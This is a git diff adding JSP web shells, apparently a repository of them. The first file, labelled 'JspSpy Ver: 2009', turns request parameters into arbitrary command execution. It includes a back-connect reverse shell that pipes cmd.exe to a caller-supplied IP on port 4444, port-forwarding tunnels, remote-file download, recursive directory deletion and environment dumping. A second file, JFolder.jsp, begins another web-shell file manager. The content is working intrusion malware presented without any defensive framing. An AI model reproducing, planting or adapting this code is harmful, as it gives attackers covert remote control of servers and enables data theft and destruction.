"); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
"+ +"
"+ +"

Remote File DownLoad »

"+ +"

"+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

PortMap >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

"+ +" "+ +" "+ +"
"+ +"
"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

Back Connect >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

"+ +" "+ +"
"+ +"
"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

System Properties >>

"+ +"
"+ +"
"+ +"
    "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
  • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
  • "); +} +out.println("

System Environment >>


    "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
  • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
  • "); +} +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
"); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
"); +out.println("

Shell OnLine »


"); +out.println("
"+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
"+ +"
"+ +" "+ +"
"+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
"+ +" " +); +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流。 +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
"),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> \ No newline at end of file diff --git a/jsp/in.jsp b/jsp/in.jsp new file mode 100644 index 0000000..fc44a95 --- /dev/null +++ b/jsp/in.jsp @@ -0,0 +1,982 @@ +<% +/** +xxxxxxxxxxxx xxxxxxxxxxxxxxxx +@xxxxxxxxx JFolder.jsp +@Description x +@Author Steven Cee +@Email xxxx@Gmail.com +@Bugs : ʱļ޷ʾ +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //԰汾0 : ģ 1Ӣ +String strThisFile="JFolder.jsp"; +String[] authorInfo={" "," "}; +String[] strFileManage = {" ","File Management"}; +String[] strCommand = {"CMD ","Command Window"}; +String[] strSysProperty = {"","System Property"}; +String[] strHelp = {"","Help"}; +String[] strParentFolder = {"ϼĿ¼","Parent Folder"}; +String[] strCurrentFolder= {"ǰĿ¼","Current Folder"}; +String[] strDrivers = {"","Drivers"}; +String[] strFileName = {"ļ","File Name"}; +String[] strFileSize = {"ļС","File Size"}; +String[] strLastModified = {"޸","Last Modified"}; +String[] strFileOperation= {"ļ","Operations"}; +String[] strFileEdit = {"޸","Edit"}; +String[] strFileDown = {"","Download"}; +String[] strFileCopy = {"","Move"}; +String[] strFileDel = {"ɾ","Delete"}; +String[] strExecute = {"ִ","Execute"}; +String[] strBack = {"","Back"}; +String[] strFileSave = {"","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, 